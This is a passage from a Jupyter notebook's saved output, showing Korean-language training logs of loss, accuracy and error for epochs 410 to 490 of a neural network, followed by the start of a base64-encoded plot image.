스텝 정확도, 오류: 0.025272229686379433 0.9764999747276306 0.023500025272369385\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06635977327823639 0.9674999713897705 0.03250002861022949\n", "Epoch: 420, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09333791583776474 0.9779999852180481 0.022000014781951904\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.010548388585448265 0.9775000214576721 0.02249997854232788\n", "Epoch: 430, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.030551938340067863 0.9785000085830688 0.021499991416931152\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.013463405892252922 0.987500011920929 0.012499988079071045\n", "Epoch: 440, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.013098688796162605 0.9794999957084656 0.020500004291534424\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.18373937904834747 0.9825000166893005 0.017499983310699463\n", "Epoch: 450, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03597954288125038 0.9810000061988831 0.018999993801116943\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.21611635386943817 0.9674999713897705 0.03250002861022949\n", "Epoch: 460, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.02010398544371128 0.9775000214576721 0.02249997854232788\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2912974953651428 0.9775000214576721 0.02249997854232788\n", "Epoch: 470, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.030480818822979927 0.9860000014305115 0.013999998569488525\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.016866078600287437 0.9750000238418579 0.02499997615814209\n", "Epoch: 480, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12724867463111877 0.9785000085830688 0.021499991416931152\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.17998822033405304 0.9674999713897705 0.03250002861022949\n", "Epoch: 490, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04439676180481911 0.9775000214576721 0.02249997854232788\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.008316167630255222 0.9674999713897705 0.03250002861022949\n" ] }, { "data": { "image/png": "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